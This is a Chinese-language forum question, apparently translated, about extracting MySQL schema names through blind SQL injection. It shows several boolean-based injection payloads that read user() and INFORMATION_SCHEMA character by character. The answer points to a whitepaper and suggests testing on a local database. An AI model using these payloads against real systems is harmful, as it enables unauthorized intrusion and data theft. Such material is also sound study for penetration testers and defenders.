使用MySQL表进行盲SQLInjection

时间:2018-11-28 14:29:00

标签: mysql sql schema sql-injection code-injection

我正在开发一个脚本,以对MySQL数据库执行SLQInjection攻击。该脚本已获取用户名和主机名。但是,我不知道如何获取表的值。

让我们举个例子。我想用这句话在MySQL中获取模式:

 SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA

我一直在进行的攻击是这样的:

usuario=admin' AND $ascii_value<ASCII(substring(user(),$i,1)) and '1'='1

通过这种方式,我在用户名上运行以获取其ASCII值。显然,如果我尝试将两个表达式组合在一起:

usuario=admin' AND $ascii_value<ASCII(substring((SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA),$i,1)) and '1'='1

我什么都没有。好吧,也许有两种模式,所以至少让我们得到第一个。

usuario=admin' AND $ascii_value<ASCII(substring((SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA ORDER BY SCHEMA_NAME DESC LIMIT 0,1),$i,1)) and '1'='1

它不再起作用。例如,如何在盲目的直射式攻击中提取模式名称?

谢谢!

1 个答案:

答案 0 :(得分:0)

查看我的SQL Injection Anywhere白皮书,该白皮书将显示不同的二进制盲SQL注入技术,该技术不是基于WHERE子句,而是基于SQL查询的其他部分: http://www.quotium.com/content/uploads/2005/01/SQL-Injection-Anywhere-White-Paper.pdf

此外,如果遇到类似您提到的问题,我将构建一个MySQL DB,用数据填充它并尝试执行有效负载。显然,这可能是语法错误,也很可能是业务逻辑短路错误。

祝你好运